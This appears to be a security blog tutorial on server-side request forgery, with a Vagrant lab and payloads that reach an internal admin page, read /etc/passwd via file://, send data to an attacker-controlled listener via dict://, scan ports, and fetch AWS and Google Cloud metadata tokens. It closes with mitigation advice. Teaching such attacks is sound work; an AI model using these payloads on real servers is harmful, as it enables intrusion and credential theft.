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Understanding SSRF

Attacking a web server using SSRF

By Jonathan Armas | May 06, 2020

Many web applications request outside services for data, configurations, updates, among others. This is beneficial for the developers and maintainers because it keeps separation of duties in their infrastructure, one for managing the view and another for the data. When it is done right, these applications are easier to maintain and to add features to, but there are some intrinsic risks in getting information through the internet using web services.

Server Side Request Forgery, SSRF, occurs when an attacker can create requests from the vulnerable server to the internet/intranet. Typically, the vulnerable server has a functionality that reads data from a URL, publishes data to a URL, or imports data from a URL. An attacker could abuse this functionality to read or update internal resources, or bypass access controls like firewalls that prevent the attackers from accessing them directly.

In a normal use case, the vulnerable application works like this:

normal-case
Figure 1. normal use case
  1. The user requests information from an external server through the Web Server. For example, GET /?url=http://external.server/data HTTP/1.1

  2. The server makes the request to the external server

  3. If the request is to an intranet server, then it passes through the company firewall

  4. The external server responds with the data requested, and the user receives it

When an attacker finds this, and he wants to bypass the firewall in order to get internal resources, then the process of the attack is the following:

ssrf-attack
Figure 2. ssrf attack
  1. The attacker makes the same request but modifies the payload for a request to another internal server, for example, GET /?url=http://admin.server/users HTTP/1.1

  2. The server makes the request to the modified server

  3. The request passes through the company firewall bypassing its measures

  4. The admin server responds with the data requested by the attacker

SSRF lab

To set up our lab, we are going to use Hashicorp’s Vagrant; the source files are below. Create a folder with the name ssrf and save the Vagrantfile there.

setting up the lab
$ mkdir ssrf
$ cd ssrf
ssrf$ nano Vagrantfile #Add the content here
Vagrantfile
# -*- mode: ruby -*-
# vi: set ft=ruby :

Vagrant.configure("2") do |config|

  config.vm.box = "jarmasatfluid/ssrftest"
  config.vm.box_version = "1"
  config.vm.network "private_network", ip: "192.168.56.2"

end

Then run the environment using:

vagrant up
ssrf$ vagrant up

This will create a Linux machine with LAMP installed and configured. At this point, everything we need has been completed and is ready for us to launch an attack.

Now we can set up our attacking machine. Here we are using Kali Linux with Vagrant too, but you can use whatever OS you prefer.

These are the tools that we are going to use:

If you are using Kali, then everything has already been installed by default.

We are ready to go.

Enumerating our server

First, we need to check the server ports. We can use nmap or ncat to do it.

port scanning
$ nmap 192.168.56.2
$ ncat -vz 192.168.56.2 80
$ ncat -vz 192.168.56.2 3306
nmap output
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-05 13:32 SA Pacific Standard Time
Nmap scan report for 192.168.56.2
Host is up (0.00051s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
25/tcp open  smtp
80/tcp open  http
MAC Address: 08:00:27:0A:C5:08 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 10.19 seconds
nc
Ncat: Connected to 192.168.56.2:80.
Ncat: 0 bytes sent, 0 bytes received in 0.31 seconds.
Ncat: No connection could be made because the target machine actively refused it. .

Our server runs Apache on port 80 and MySQL on port 3306, but we do not have access to it.

Then using Dirbuster, we can search for directories on the web server.

dirbuster
$ dirb http://192.168.56.2/

DIRB v2.22
By The Dark Raver

START_TIME: Tue May  5 13:30:46 2020
URL_BASE: http://192.168.56.2/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

 Scanning URL: http://192.168.56.2/
==> DIRECTORY: http://192.168.56.2/code/
+ http://192.168.56.2/index.html (CODE:200|SIZE:11321)
+ http://192.168.56.2/server-status (CODE:403|SIZE:277)

 Entering directory: http://192.168.56.2/code/
+ http://192.168.56.2/code/admin.php (CODE:302|SIZE:2160)
+ http://192.168.56.2/code/index.php (CODE:200|SIZE:1148)

END_TIME: Tue May  5 13:30:53 2020
DOWNLOADED: 9224 - FOUND: 4

As we can see, there is an admin site to which we do not have access, and a normal site to search for products.

SSRF attacks

Given that we have access to the search products site, then we can make a request and intercept it:

products request
POST /code/ HTTP/1.1
Host: 192.168.56.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 82
Origin: http://192.168.56.2
Connection: close
Referer: http://192.168.56.2/code/
Cookie: PHPSESSID=6tp090rfsdurfgg5hlfrgr7v97
Upgrade-Insecure-Requests: 1

product_id=5&url=http%3A%2F%2F127.0.0.1%2Fcode%2Fproducts.php%3Fproduct_id%3D&s=OK

There we can see that it makes a request with a URL to retrieve the data. So, what happens when we modify the URL? Let’s change it to https://owasp.org/:

simple SSRF
product_id=&url=https%3a//owasp.org/&s=OK

Then it will load the OWASP web page on our site:

ssrf-vulnerable
Figure 3. ssrf vulnerable

Now we have several options to work with.

Reflected XSS

Let’s create an SVG image in our kali machine with an XSS payload and then serve it on a local Python server:

local xss
$ nano payload.svg # Put the content here
$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
payload.svg content
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#FF3435" stroke="#FF3435"/>
<script type="text/javascript">
alert('PWNED');
</script>
</svg>

Then simply put your URL into the request and watch the result:

SSRF to XSS payload
product_id=&url=http%3a//<YOUR_IP>%3a8000/payload.svg&s=OK
xss-vulnerable
Figure 4. SSRF to XSS result
Bypassing controls

As we saw earlier, we could not access the admin section of the server; this can be bypassed with this vulnerability:

SSRF to admin payload
product_id=&url=http%3A%2F%2F127.0.0.1%2Fcode%2Fadmin.php&s=OK
control-bypass
Figure 5. SSRF to admin result

If the server had some local HTTP servers like a mongodb database, we could bypass the access controls with this vulnerability.

Information disclosure

We can use file:// to get internal files:

file usage
product_id=&url=file%3a///etc/passwd&s=OK
...
<div class="row d-flex justify-content-center">
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...

We can also use the dict:// URL schema to connect to a server and send data:

dict usage
$nc -lvp 8000
# Payload
product_id=&url=dict%3a//<YOUR_IP>%3a8000/pwned&s=OK
...
Ncat: Connection from IP:PORT.
CLIENT libcurl 7.47.0
pwned
QUIT
...

This is useful when we find another vulnerable server or service, because we can send data to it and maybe even execute commands.

Port enumeration

.port enum

# Port open
product_id=&url=127.0.0.1%3a3306&s=OK
...
<div class="row d-flex justify-content-center">
5.5.5-10.0.38-MariaDB-0ubuntu0.16.04.1
...
# Port closed
...
<div class="row d-flex justify-content-center">
</div>
...
Cloud goodies

If the target uses Amazon EC2 or Google Cloud, then you can request metadata from them:

cloud SSRF
# Amazon
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/user-data/
# Google Cloud
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json

Because the server uses cURL, there are some URL schemas that this library does not support, like ssh22, expect, among others. For more information and payloads, you can go here or check this paper from OWASP.

Solution

The first level of protection against this attack is to implement input validation. It could be in the form of validating the domain name of the target host using a whitelist. With this, if the attacker tries to access more resources, it will be impossible for him.

Besides, if it is possible, avoid querying URLs using user input. Even if they are hidden fields, an attacker can modify them and exploit a SSRF vulnerability. It is better to request resources directly on the web server whenever it is possible.

Another way to do this is to prevent the web application to access only the resources that it will need by segregating the network. This will prevent access to other resources in the network, but it does not work against local access.

If you want more information about protections against SSRF, you can check OWASP or our rules.

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